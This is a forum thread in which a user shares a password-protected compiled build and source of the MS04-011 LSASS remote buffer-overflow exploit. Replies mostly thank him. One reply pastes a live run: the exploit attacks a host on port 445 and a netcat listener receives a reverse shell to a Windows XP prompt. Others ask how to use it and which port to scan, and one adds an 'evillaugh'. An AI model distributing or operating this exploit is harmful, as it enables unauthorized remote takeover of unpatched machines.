Pass is GSO
I just compiled it successfully and tested it on a WIN 2k box EN Sp4 ... and it crashes lsass ...
Enjoy... the source code with the right includes is included also without pass
Enjoy

Serhat

[EDIT] 6 downloads no reply...
always good to thank the coder or compiler ... I don't care .. but atleast do it @ other people please... show them your appreciation

grate !!!! if you says thats is better then other sploit. I will check it.

Thx for your TIME and work.

Well then, thanks for compiling, since you didnt seemed to have errors.

thx for compiling

but crash no shell ?

?

++

thx Serhat, i compiled the one from kotik, didnt know it had somekind of password protection or missing includes

Ty very much for this. just tested using win xp sp1 (not patched)

and


MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---

[*] Target: IP: 192.168.0.250: OS: WinXP Professional [universal] lsass.exe
[*] Connecting to 192.168.0.250:445 ... OK
[*] Attacking ... OK

-------------

nc -t -v -l -p 554
listening on [any] 554 ...
192.168.0.250: inverse host lookup failed: Unknown host
connect to [xx.x.xx.xx] from (UNKNOWN) [192.168.0.250] 3631
Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>exit
exit

how to use it?

thx 4 ur work, thats cool

thnxs for the compile Serhat

thank you very much man

Thx 4 this nice version

Cya Doc

Serhat you the MAN! Thanks for universal exploit. Works great.

a password protection on your zip ?

cheers m8 will give this 1 a try as well

the first one was fine with me and getting a few shells. with this new universal exploit, i'm gonna test it. thanks man, great job

ok lol

i'm sorry

thx for compiling

i will test it

heh I just compiled it.. I appreciate the thnx though.. the real thnx go to the coder of the exploit... so many thnx to him

Serhat

thx for the exe

will try this out...

nice m8 tnkx for new

yess!! thanks!! i mean, comeon, who uses chinese windows (or whatever version it is)

Thanks m8

Gonna test it!

kick ass stuff dude...it's been a while since i put some time into the exploit world..this'll keep me busy

thanks for the compiled exe

cheers m8 good work, thanks for this one

on what port must i scan for this exploit?

thnx will give it a try!

nice one dude, let's hope i can do something with it 'evillaugh'

greetz WaZaa

good work.

thx 4 compiling

thx for the clear source